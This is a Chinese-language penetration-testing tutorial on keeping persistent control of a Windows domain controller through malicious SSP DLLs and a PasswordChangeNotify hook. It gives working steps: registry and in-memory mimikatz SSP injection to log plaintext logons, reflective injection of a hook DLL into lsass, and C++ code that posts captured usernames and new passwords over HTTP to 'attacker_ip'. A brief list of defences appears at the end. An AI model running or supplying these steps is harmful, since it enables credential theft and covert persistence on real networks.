域控权限维持技术详解:SSP与PasswordChangeNotify Hook
前言
在渗透测试中,获取域控制器(Domain Controller)权限往往只是开始而非结束。为了长期保持对目标网络的控制,攻击者需要实施有效的权限维持技术。本文将深入探讨两种关键的域控权限维持方法:SSP(安全支持提供者)注入和PasswordChangeNotify Hook技术。
SSP权限维持技术
SSP基础概念
SSP (Security Support Provider)即安全支持提供者,是一个DLL文件,用于实现Windows系统中的身份验证机制。Windows系统包含多个内置SSP:
- NTLMSSP (msv1_0.dll)
- Kerberos (kerberos.dll)
- NegotiateSSP (secur32.dll)
- Secure Channel (schannel.dll)
- TLS/SSL
- Digest SSP (wdigest.dll)
- CredSSP (credssp.dll)
- DPA (msapsspc.dll)
- Public Key Cryptography User-to-User (PKU2U, pku2u.dll)
SSPI (Security Support Provider Interface)是SSP的API接口,为应用程序提供统一的安全认证接口。
LSA (Local Security Authority)是Windows的安全核心组件,负责执行系统安全策略,包括用户登录验证和密码管理。lsass.exe是LSA的进程表现形式。
SSP权限维持原理
攻击者通过向LSA注入自定义的恶意SSP DLL,可以获取lsass.exe进程中的明文凭据。即使目标用户更改密码,攻击者仍能捕获新密码。这种技术需要SYSTEM权限才能实施。
实施方法
方法一:注册表注入(持久化)
- 将恶意SSP DLL(如mimikatz的mimilib.dll)复制到目标系统的
C:\Windows\System32\目录 - 修改注册表:
在"Security Packages"项下添加你的DLL名称HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\ - 重启系统使更改生效
- 登录凭据将被记录在
C:\Windows\System32\kiwissp.log
缺点:需要重启系统,动作较大容易被发现。
方法二:内存注入(非持久化)
使用Mimikatz进行内存注入:
privilege::debug
misc::memssp
凭据将被记录在C:\Windows\System32\mimilsa.log
特点:
- 无需重启系统
- 重启后失效,需要重新注入
- 隐蔽性较好
PasswordChangeNotify Hook技术
技术原理
PasswordChangeNotify是Windows提供的API,当域用户密码被修改时,LSA会:
- 首先调用
PasswordFilter函数检查新密码复杂度 - 如果符合要求,则调用
PasswordChangeNotify同步更新密码
攻击者可以Hook这个API,将执行流重定向到自定义函数,从而捕获密码更改事件中的新密码。
技术优势
- 无需修改注册表
- 无需重启系统
- 隐蔽性高
- 能捕获所有密码更改操作
实施步骤
-
编译Hook DLL:
- 使用提供的项目(如clymb3r/Misc-Windows-Hacking)
- 设置为"在静态库中使用MFC"编译
- 生成HookPasswordChange.dll
-
DLL注入:
使用PowerShell反射注入:Set-ExecutionPolicy bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass -
获取凭据:
密码更改后,新凭据会被记录在:- 默认位置:
C:\Windows\Temp\passwords.txt - 可自定义输出位置和格式
- 默认位置:
高级应用:HTTP外传凭据
修改HookPasswordChange.cpp,添加HTTP发送功能:
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"attacker_ip", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length/2);
InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length/2);
HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));
技术对比
| 特性 | SSP注册表注入 | SSP内存注入 | PasswordChangeNotify Hook |
|---|---|---|---|
| 需要重启 | 是 | 否 | 否 |
| 持久性 | 是 | 否 | 否 |
| 隐蔽性 | 低 | 中 | 高 |
| 实现复杂度 | 低 | 低 | 中 |
| 捕获密码更改 | 否 | 否 | 是 |
| 捕获普通登录 | 是 | 是 | 否 |
防御建议
- 监控lsass.exe的异常DLL加载
- 审计注册表中LSA相关项的更改
- 限制对lsass.exe的访问权限
- 启用LSA保护(Windows 10+)
- 监控PowerShell的异常使用
- 定期检查系统目录下的可疑文件
参考资源
通过深入理解这些技术原理和实施方法,安全团队可以更好地防御此类高级持久化攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。